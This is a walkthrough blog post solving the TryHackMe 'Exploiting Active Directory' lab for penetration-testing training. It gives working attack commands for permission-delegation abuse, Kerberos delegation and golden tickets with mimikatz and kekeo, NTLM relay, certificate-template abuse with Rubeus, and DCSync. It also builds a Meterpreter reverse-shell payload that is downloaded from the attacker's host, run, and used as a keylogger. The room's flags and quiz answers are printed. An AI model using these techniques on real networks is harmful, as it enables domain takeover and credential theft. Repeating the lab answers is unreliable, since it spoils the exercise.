TryHackMe | Exploiting Active Directory

In this walkthrough, I demonstrate the steps I took to complete the "Exploiting Active Directory" network on TryHackMe.
In: TryHackMe, Active Directory, Attack, OSCP Prep, THM: Compromising AD

Task 1: Introduction

Connecting to the Network

I am using my own Kali VM to complete this room, not the AttackBox provided by TryHackMe.

Download the VPN connection pack and connect to the VPN as a background service.

# Run the VPN connection as a daemon in the background
sudo openvpn --config ./exploitingad.ovpn --daemon

When finished with the room, you can terminate the VPN connection with this command:

# Find the PID of the OpenVPN process
pid=$(sudo ps aux | grep -v grep | grep -i exploitingad | awk -v FS=' ' '{print $2}')

# Send SIGTERM to the PID
sudo kill -9 $pid



Edit DNS Configuration

I didn't follow the guidance in the room and took a much more simplistic approach. Please note that the /etc/resolv.conf configurations in the before and after shown below are specific to my environment.

Before

# Generated by NetworkManager
search cyber.range
nameserver 10.0.0.1

/etc/resolv.conf (before)



After

10.200.75.101 is the IP address of the thmdc (domain controller) in the network diagram. The domain controller is acting as the DNS resolver in the network environment.

# Generated by NetworkManager
search cyber.range za.tryhackme.loc
nameserver 10.200.60.101 
nameserver 10.0.0.1
# Shorten name resolution timeouts to 1 second
options timeout:1
# Only attempt to resolve a hostname 2 times
options attempts:2

/etc/resolv.conf (after)

Run sudo systemctl restart networking.service after the changes to apply the changes.



Test Hostname Lookups

dig thmdc.za.tryhackme.loc

Why does this work?

You're instructing the DNS resolution service to search between 10.200.75.101 and 10.0.0.1 . So, let's say you say something like this:

nslookup google.com

What's happening is this:

  1. First ask 10.200.75.101 – "Do you know the IP address of google.com ?"
  2. If the domain controller answers, then stop the lookup process.
  3. If the domain controller doesn't have the answer, move on.
  4. Then, ask 10.0.0.1 – "Do you know the IP address of google.com ?"



Request Credentials

Following the instructions in the lesson, navigate to http://distributor.za.tryhackme.loc/creds and request credentials for use during exercises.





Task 2: Exploiting Permission Delegation

  • Active Directory permissions that are normally reserved for higher level administrators can be delegated to other users.
  • In the lesson, they give the example of help desk technicians being given password reset permissions on user accounts.

Exploiting ACEs

Access Control Entries (ACEs) populate Discretionary Access Control Lists (DACLs). These ACLs determine the permissions that certain AD objects have over others.

Certain ACEs can be very dangerous if misconfigured:

  • ForceChangePassword : Set a user's password without knowing their current password.
  • AddMembers : Add users (including oneself), groups, or computers to a target group.
  • GenericAll : Complete control over an object, including the ability to change the user's password, register an SPN or add an AD object to the target group.
  • GenericWrite : Update any non-protected parameters of our target object. For example, could update the scriptPath parameter, which would set a user's logon script.
  • WriteOwner : Update the owner of the target object. Could make ourselves the owner, allowing us to gain additional permissions over the object.
  • WriteDACL : We have the ability to write new ACEs to the target object's DACL. For example, could write an ACE that grants our account full control over the target object.
  • AllExtendedRights : Perform any action associated with extended AD rights against the target object. For example, the ability to force change a user's password.



Inspecting Bloodhound Data

Download the Task Files

Inspect the Data

Launch neo4j and bloodhound and import the data.

sudo neo4j console &
sudo bloodhound &

Now, drag the .zip file into the Bloodhound window. Let's search for our initial account that we retrieved from http://distributor.za.tryhackme.loc/creds .

Now, if you look over the Node Info tab, it's pretty obvious that the initial access user can't do too much in terms of privileged access.



Path to T2 Administrator

The Tier 2 Administrators group has administrative access over all workstations. We are going to search for a start node and end node. The start node will be the user account you got from the distributor. The end node will be Tier 2 Admins .

[user.name] ---MemberOf---> [Domain Users] ---GenericWrite---> [IT Support]

  • Our user account is a member of the Domain Users group.
  • The Domain Users group has GenericWrite over the IT Support group.
  • The IT Support group has ForceChangePassword over the T2 admin users.

If you right-click GenericWrite in Bloodhound and choose Help, you can see some very helpful information about the privilege escalation path.



Add User Account to IT Support

RDP to THMWRK1

RDP to thmwrk1.za.tryhackme.loc and open a PowerShell terminal you've logged on.

xfreerdp /v:thmwrk1.za.tryhackme.loc /u:'user.name' /p:'password'



Add-ADGroupMember

$user = Get-ADUser -Identity 'user.name'
$group = Get-ADGroup -Identity 'IT Support'
Add-ADGroupMember -Identity $group -Members $user
Get-ADGroupMember -Identity $group



Force a New Password on a T2 Admin

# Pick a random T2 accoun to target
$t2admin = Get-ADGroupMember -Identity 'Tier 2 Admins' | Get-Random -Count 1

# Print the name of the user
$t2admin.Name

# Change the password
$password = 'strong.pass1' | ConvertTo-SecureString -AsPlainText -Force
Set-ADAccountPassword -Identity $t2admin -Reset -NewPassword $password

⚠️
If you get an access denied error, your membership of the IT Support group have not fully replicated through the network yet.

Try running gpupdate /force or wait a few minutes and try again.



RDP as the T2 Admin

Now, open an RDP session as your lower level user and RDP again to thmwkr1 as the tier 2 admin with the updated password.

xfreerdp /v:thmwrk1.za.tryhackme.loc /u:'t2.admin' /p:'newpass'



Questions

Which ACE would allow you to update any non-protected parameter of a target object?

Show Answer

GenericWrite

What is the value of the flag stored on the Desktop of the Administrator user on THMWRK1 (flag1.txt)?

Show Answer

THM{Permission.Delegation.FTW!}





Task 3: Exploiting Kerberos Delegation

  • General purpose of Kerberos delegation is to allow an application or service to access a resource on another machine on behalf of a user or machine.
  • If a user logs into an application, the application will request resources on other machines on behalf of the user.
  • Removes the need for a global service account with less granular permissions.

Constrained vs. Unconstrained Delegation

  • Unconstrained Delegation: A host has no limit on the resources it can access on behalf of a user who connects, as long as the user has the TRUSTED_FOR_DELEGATION flag set. Once a user connects, the host requests a TGT for the user and caches it locally for future use.

    • Given the TGT, an attacker could proceed to access any resource accessible by the user owner of the TGT
    • For example, if an Administrator logged on to the host with unconstrained delegation, the attacker would now be in possession of the Administrator's TGT
  • Constrained Delegation: Restricts the type of services a service acount can request on behalf of a user.

    • For example, if a domain service account (sevice principal) was running a web application on a web server, constrained delegation would enable the administrator to choose which services to delegate access to on behalf of another user.
      • An administrator could selectively filter delegation to resources such as:
      • HTTP
      • CIFS
      • LDAP
      • HOST
      • MSSQL
      • Etc.
    • If an attacker compromised a host configured for constrained delegation and obtained the NTLM hash or password of the service account, the attacker could:
      • Request a TGT for the service account
      • Use the TGT to request a TGS for the delegate account to access a particular service



Resource-Based Constrained Delegation

This model of delegation works inversely from the other delegation types.

 __________________________
| Unconstrained Delegation |
 --------------------------
 
          [JMPSRV] delegates unconditional access
          to all services to user/computer$ since
          the user (or computer) account is flagged
          with the TRUSTED_FOR_DELEGATION attribute
 
                                             ______________
user/computer$                              |              |
[TRUSTED_FOR_DELEGATION] ---> [JMPSRV] -----| All Services |
                                            |______________|


 ________________________
| Constrained Delegation |
 ------------------------

           Administrator sets
           permissions on the [service] account
              - [service] delegates to [MSSQL] on SRV01 host
              - [service] delegates to [CIFS] on SRV02 host
              
                                       _________________     __ [MSSQL]
user/computer$                        |                 |   |    SRV01
[TRUSTED_TO_AUTH_FOR_DELEGATION] -----|--> [service] ---|---| 
                                      |                 |   |__ [CIFS]
                                       -----------------         SRV02


 _______________________________________
| Resource-Based Constrained Delegation |
 ---------------------------------------

Grant msDS-AllowedToActOnBehalfOfOtherIdentity
to [service] account on [MSSQL] and [CIFS].
This allows the SERVICE OWNER to decide which
accounts can be delegates to other users.

    | Yes, [service]
----| may delegate to
|   | [MSSQL] and [CIFS]
|
|--- [MSSQL] __     _________________
|     SRV01    |   |                 |      user/computer$
|              |---|--- [service] <--|----- [TRUSTED_TO_AUTH_FOR_DELEGATION]
|--- [CIFS]  __|   |                 |
      SRV02         -----------------



Constrained Delegation Exploitation

RDP to THMWRK1 as T2 Admin

Using your tier 2 admin credential from Task 2, we are going to do some enumeration and exploitation.



Enumerate Users with Constrained Delegation

We are going to use PowerView to enumerate here, but be warned that PowerView is going to almost always get detected by anti-virus. Launch PowerShell as administrator and import the PowerView module.

Import-Module C:\tools\PowerView.ps1
Get-NetUser -TrustedToAuth

In the za.tryhackme.loc domain, there is only one user allowed to act as a delegate for other users – svcIIS@za.tryhackme.loc . This account is allowed to delegate access to:

  • WSMAN/THMSERVER1.za.tryhackme.loc
  • http/THMSERVER1.za.tryhackme.loc

Which is great news, because that would be allow a user delegated access to WinRM on THMSERVER1 .

If you were to perform proper post-exploitation enumeration of THMWRK1, you would find that there is a service on the host running as the svcIIS user.

Let's see what we can do about that.

Get-CimInstance -ClassName Win32_Service | Where-Object {$_.StartName -like 'svcIIS*'} | Select-Object *

So, at system startup, the svcIIS account will auto-start a service which executes C:\Windows\system32.cmd.exe . That should spawn a command prompt and cause the credential to cache in memory.



Dumping Secrets with Mimikatz

C:\Tools\mimikatz_trunk\x64\mimikatz.exe

mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::secrets



Bonus: Remotely Dumping Secrets

On Kali, we're going to use our tier 2 admin credential and the secretsdump.py script. NOTE: for the sake of this demo, I enabled the File Server feature on THMWRK1 .

Redacted the user hashes, as I want to stay in scope



Request a TGT and Perform the Attack

For this attack, we'll be using a combination of mimikatz and kekeo .

Mimikatz

If your Mimikatz window from before is still running, revert your token.

mimikatz # token::revert



Kekeo

The commands in order are:

  1. Launch kekeo.exe
  2. Request a TGT using the svcIIS credentials.
  3. Request a S4U TGS on behalf of t1_trevor.jones to the HTTP service on THMSERVER1 using the TGT
  4. Request a S4U TGS on behalf of t1_trevor.jones to the WSMAN service on THMSERVER1 using the TGT
C:\Tools\kekeo\x64\kekeo.exe

kekeo # tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:Password1@

kekeo # tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones /service:http/THMSERVER1.za.tryhackme.loc

kekeo # tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones /service:wsman/THMSERVER1.za.tryhackme.loc



Mimikatz

Inject the S4U TGS ticket into our current session as the tier 2 admin and lanch a command prompt.

mimikatz # kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi

mimikatz # kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi

mimikatz # misc::cmd

Proof that the tickets are injected into our session
Starting a WinRM session as t1_trevor.jones on THMSERVER1



Questions

Which Kerberos Delegation type allows for delegation of all services?

Show Answer

Unconstrained delegation

Which Kerberos Delegation type allows the service to specify who is allowed to delegate to it?

Show Answer

Resource-based constrained delegation

Which Constrained Delegation service allows access to the file system of the system via delegation?

Show Answer

CIFS

What is the value of the flag stored in the Desktop directory of the Administrator user on THMSERVER1 (flag2.txt)?

Show Answer

THM{Constrained.Delegation.Can.Be.Very.Bad}





Task 4: Exploiting Automated Relays

  • We can force a computer account to initiate an authentication request
  • Computer accounts – like user accounts – have a username and password
  • Computer account usernames end in $ – for example, server01$ .

Machine Accounts

You can use a custom Bloodhound query to find computer accounts that have admin rights over other computer accounts

MATCH p=(c1:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) RETURN p

This could be used in special cases to synchronize between domain controllers. Also, when a computer account – we'll say computer A – requests a certificate on behalf of another computer account – we'll say computer B – computer B's credentials are used to request the certificate.



The Printer Bug

  • Allows a domain user to force a computer account to connect to an arbitrary IP address
  • In order for this to work, the following must be true
    • Possess a valid set of AD credentials
    • Target host is running SMB
    • Target host is running Print Spooler service
    • SMB signing must not be enforced

Verify the Print Spooler Service is Running

We need to verify this on the target computer.

# Try this...
Get-WmiObject Win32_Printer -Computer hostname.fqdn

# Or, this...
Get-PrinterPort -ComputerName hostname.fqdn

In both cases, if you get an access denied error, it may still be worth a shot if SMB signing is not enforced.



Verify SMB Signing Enforcement

We need to verify this on all parties involved in the transaction.

sudo nmap -Pn -p445 --script=smb2-security-mode thmserver1.za.tryhackme.loc thmserver2.za.tryhackme.loc

Enabled but not required. Perfect.



Exploiting Authentication Relays

  • We want to use NTLM authentication against the target – THMSERVER1
  • THMSERVER2 has administrative privileges over THMSERVER1
  • Use SpoolSample.exe to connect to THMSERVER2 and tell it to authenticate back to us
  • We will relay that authentication request to THMSERVER1
  • THMSERVER1 will see it as though we are connecting as THMSERVER2 , which will give us administrative privileges

Get the IP Address of the Target

This will allow us to authenticate with NTLM in the Kerberos environment, since Kerberos uses FQDNs.

dig thmserver1.za.tryhackme.loc



Set up the NTLM Relay

sudo ntlmrelayx.py -smb2support -t smb://"10.200.60.201" -debug



RDP to THMWRK1 and Exploit

For this attack, you can RDP to THMWRK1 . Then, run this command using SpoolSample.exe

C:\Tools\SpoolSample.exe thmserver2.za.tryhackmloc "kali-vpn-ip"

Caught the authentication from THMSERVER2 and relayed to THMSERVER1



Questions

How often (in days) are the passwords of Windows machine accounts rotated by default?

Show Answer

30

What should not be enforced if we want to relay an SMB authentication attempt?

Show Answer

SMB signing

What is the value of the flag stored in the Desktop directory of the Administrator.ZA user on THMSERVER1 (flag3.txt)?

Show Answer

THM{Printing.Some.Shellz}





Task 5: Exploiting AD Users

Hunting for Credentials

Using our WinRM shell from Task 3, we do some post-exploit enumeration and come across a .kdbx file in C:\Users\trevor.local\Documents . It's likely a password vault that's been encrypted with a strong password.



Using Meterpreter's Keylogger

Generate a Meterpreter Payload

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=kali-vpn-ip LPORT=443 -f psh -o pwnz.ps1



Start a Listener

sudo msfconsole

msf6> use exploit/multi/handler
msf6> set payload windows/x64/meterpreter_reverse_tcp
msf6> set LHOST kali-vpn-ip
msf6> set LPORT 443
msf6> run



Transfer the Payload to the Target

Start a Python web server on Kali:

sudo python3 -m http.server 80

Download the file onto THMSERVER1 via our WinRM session and execute it.

powershell.exe -ep bypass

# Create a web client object
$wc = New-Object Net.WebClient
# Download pwnz.ps1 from Kali and save it in the current directory
$wc. DownloadFile('http://kali-vpn-ip/pwnz.ps1', "$PWD\pwnz.ps1")
.\pwnz.ps1

# Start the keylogger
meterpreter > keyscan_start

# Dump captured key strokes
meterpreter > keyscan_dump

# Stop the keylogger
meterpreter > keyscan_stop



Open the KeePass Vault

sudo apt install -y kpcli
kpcli

# Password is: Imreallysurenoonewillguessmypassword
kpcli:/> open PasswordDatabase.kdbx
kpcli:/> ls
kpcli:/> ls PasswordDatabase/*
kpcli:/> show -f -a PasswordDatabase/General/Flag

THM{AD.Users.Can.Give.Up.Good.Secrets}

kpcli:/> show -f -a PasswordDatabase/General/svcServMan

Sup3rStr0ngPass!@



Questions

What application is used to open the kdbx credential database?

Show Answer

KeePass

What meterpreter command do we use to move from SYSTEM to user context?

Show Answer

migrate   

What is the password of the credential database?

Show Answer

Imreallysurenoonewillguessmypassword

What is the value of the flag stored in the credential database?

Show Answer

THM{AD.Users.Can.Give.Up.Good.Secrets}





Task 6: Exploiting Group Policy Objects

  • The KeePass vault from the prior step revealed a service account credential
  • Searching for this user in the Bloodhound data reveals an interesting ownership over a GPO.
  • GPOs are saved in the SYSVOL directory when they are synchronized from the domain controller.

End Goal

  • RDP into THMWRK1 as standard domain user or T2 admin
  • Inject the svcServMan as a network credential
  • Edit the GPO remotely on THMSERVER2 via MMC



RDP to THMWRK1

xfreerdp /v:thmwrk1.za.tryhackme.loc /u:username /p:'password'



Inject the Service Account Credentials

runas /netonly /user:za.tryhackme.loc\svcServMan cmd.exe

mmc.exe

Password: Sup3rStr0ngPass!@



Modify the Group Policy Object

Add Group > Browse > Search "IT Support" > Click OK
Make "IT Support" Administrators and Remote Desktop Users on THMSERVER2

This group policy applies to the path za.tryhackme.loc/Servers/Management Servers , as specified in the GPO path.

If we add the Active Directory Users and Computers snap-in to our mmc.exe session, we can inspect that OU.

If there were more servers in this OU, this GPO would allow us to RDP as administrators to all of them.



RDP to THMSERVER2

You can use your low-level user credential that you received from http://distributor.za.tryhackme.loc/creds , as this user is a member of the IT Support group after we added the user in Task 2.



Questions

What object allows users to configure Windows policies?

Show Answer

Group Policy Objects

What AD feature allows us to configure GPOs for the entire AD structure?

Show Answer

Group Policy Management

What is the name of the GPO that our compromised AD account owns?

Show Answer

Management Server Pushes

What is the value of the flag stored on THMSERVER2 in the Administrator's Desktop directory (flag4.txt)?

Show Answer

THM{Exploiting.GPOs.For.Fun.And.Profit}





Task 7: Exploiting Certificates

  • Active Directory Certificate Services (AD CS) is Microsoft's PKI implementation
  • Can be used in:
    • Establishing trusts between domains
    • Encryption
    • Digital signatures
    • Authentication
  • Certificate templates allow an organization to offload the certificate request process to certain authorized users

Find Vulnerable Certificate Templates

Use your RDP session on THMSERVER2 to enumerate certificate templates

certutil -Template -v > .\templates.txt

A certificate template can be exploited if the following parameters are present:

  • Client Authentication: Certificate can be used in client authentication
  • CT_FLAG_ENROLEE_SUPPLIES_SUBJECT: Can specify an alternate SAN
  • CTPRIVATEKEY_FLAG_EXPORTABLE_KEY: Can export the private key along with the certificate
  • Certificate Permissions: User has the permissions to use the template



Exploit a Certificate Template

Create a Certificate

Launch mmc.exe and add the Certificates snap-in.

Follow along with the steps to request a new Personal certificate.

Click Add >
Click OK
Check the box, click Enroll

Follow the steps to export the certificate along with the private key.



Use Rubeus to Inject the Certificate

C:\Tools\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:C:\Users\username\Desktop\mycert.pfx /password:password123 /outfile:pwnz.kirbi /domain:za.tryhackme.loc /dc:10.200.60.101



Use Mimikatz to Pass-the-Ticket

C:\Tools\mimikatz_trunk\x64\mimikatz.exe

mimikatz # privilege::debug
mimikatz # kerberos::ptt pwnz.kirbi
mimikatz # misc::cmd

C:> explorer.exe

Now, we can browse the file system of the domain controller from THMSERVER2 !



Questions

What does the user create to ask the CA for a certificate?

Show Answer

Certificate signing request

What is the name of Microsoft's PKI implementation?

Show Answer

Active Directory Certificate Services

What is the value of the flag stored on THMDC in the Administrator's Desktop directory (flag5.txt)?

Show Answer

THM{AD.Certs.Can.Get.You.DA}





Task 8: Exploiting Domain Trusts

  • A forest, in Active Directory terms, is comprised of domain trees
  • Trusts define how the various domains in a forest can talk to one another
  • The main types of trusts are :
    • Directional: Trust flows from one domain to another trusted domain
    • Transitive: Trust flows between multiple trusted domains

Golden Tickets

If an attacker compromises a domain controller and achieves full SYSTEM rights, it is possible to extract the hash of the krbtgt account. This would allow the attacker to create TGS tickets for any resources as they please.

In order to create golden tickets, the following must be known:

  • FQDN of the domain
  • SID of the domain
  • Username to impersonate
  • KRBTGT hash

Dump the KRBTGT Hash

Using the RDP session from before, we can leverage the certificate template attack from before to perform a DC Sync attack.

mimikatz # lsadump::dcsync /user:za\krbtgt

16f9af38fca3ada405386b3b57366082



Exploit Domain Trusts

Follow the instructions to enumerate the SIDs of the domain controller and the Enterprise Admins group of the parent domain.

Now, use Mimikatz to generate a golden ticket.

mimikatz # kerberos::golden /user:Administrator /domain:za.tryhackme.loc /sid:S-1-5-21-3885271727-2693558621-2658995185-1001 /service:krbtgt /rc4:16f9af38fca3ada405386b3b57366082 /sids:S-1-5-21-3330634377-1326264276-632209373-519 /ptt

Now, try browsing the remote file system of thmrootdc.tryhackme.loc .

Enter the UNC path to the C$ share
Perfect!



Questions

What domain trust relationship is by default configured between a parent and a child domain?

Show Answer

Directional trust

What is the name of the AD account used by the KDC to encrypt and sign TGTs?

Show Answer

krbtgt

What is the name of the TGT that grants access to resources outside of our current domain?

Show Answer

Inter-Realm TGT

What is the value of the flag stored on THMROOTDC in the Administrator's Desktop folder (flag6.txt)?

Show Answer

THM{Full.EA.Compromise}





Task 9: Conclusion

  • Getting domain admin will probably take several pivots
  • Each pivot is cyclic in nature – initial exploit, enumerate, escalate, proceed
  • Every Active Directory environment is different, so attack paths will vary

Mitigation

...what may be considered a misconfiguration that can be exploited, has an actual business case.
  • Least-privilege
  • Lower-tier accounts should not be able to traverse tiers
  • Check permissions delegations don't extend to lower tiers
  • Enforce SMB signing
  • Watch for misconfigured AD services in addition to objects
  • Ensure proper security controls in place between domain trusts
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.